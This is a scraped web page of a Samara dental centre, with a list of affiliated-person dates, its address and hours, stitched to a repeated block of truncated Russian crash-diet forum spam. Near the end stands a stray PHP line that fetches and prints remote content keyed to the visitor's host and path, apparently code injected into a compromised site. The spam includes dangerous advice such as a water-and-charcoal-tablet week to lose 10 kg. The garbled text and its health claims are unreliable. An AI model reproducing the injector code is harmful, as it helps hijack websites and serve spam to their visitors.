  • Очень низкокалорийная диета меню - Меню для похудения Презервативы Нужно заниматься спортом! Утром стакан воды, в обед стакн, вечером пол стакана воды (шут
  • Диета великого поста 2016 года - Друзья, как вы думаете, будем голодать в 2015 году ??? Если не начнем работать, то будем Накануне, 23 февраля 2015 года,
  • Как похудеть что нужно кушать - Что нужно кушать чтобы похудеть? И быть красивой ? Как раз ничего нельзя кушать Что нужно кушать, чтобы похудеть? Все мы
  • Целлюлит задняя сторона бедер - Целлюлит на задней поверхности бедер и на внутренней стороне сверху-его там много.Как убрать? Бегать по вечерам, на скак
  • Пояс для похудения.бандаж - А чем отличается пояс верности от пояса для похудения??? Снимаемостью Пояса для похудения, сауна-белты, массажные пояса
  • Анемия.диета и спорт - Если пить воду целую неделю и таблетки угольные. Можна похудать? Надо скинуть за неделю 10 кг Если ты сейчас весишь 200
  • Белковая диета при диализе - Неделя на кифире Если пить неделю один кефир или ряженку и заниматься спортом, какие будут успехи? Нет, надо еще есть до
  • Диета шесть предметов - Тренеры))помогите) На плавание походи месяцок Диета шесть лепестков действительно помогла похудеть тысячам европейских д
  • Упражнения для похудения живота и боков для мужчин - Упражнения для похудения живота и боков недавно прочитал что если есть лишний вес на животе то пресс будет под ним Будет
  • Диета для больной печени рецепты - Нашли маленькую собачку на улице взяли домой, но у нее из пасти воняет за километр, что делать? чистка зубов не помогает
  • Очень низкокалорийная диета меню - Меню для похудения Презервативы Нужно заниматься спортом! Утром стакан воды, в обед стакн, вечером пол стакана воды (шут
  • Диета великого поста 2016 года - Друзья, как вы думаете, будем голодать в 2015 году ??? Если не начнем работать, то будем Накануне, 23 февраля 2015 года,
  • Как похудеть что нужно кушать - Что нужно кушать чтобы похудеть? И быть красивой ? Как раз ничего нельзя кушать Что нужно кушать, чтобы похудеть? Все мы
  • Целлюлит задняя сторона бедер - Целлюлит на задней поверхности бедер и на внутренней стороне сверху-его там много.Как убрать? Бегать по вечерам, на скак
Что есть чтоб убрать живот
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта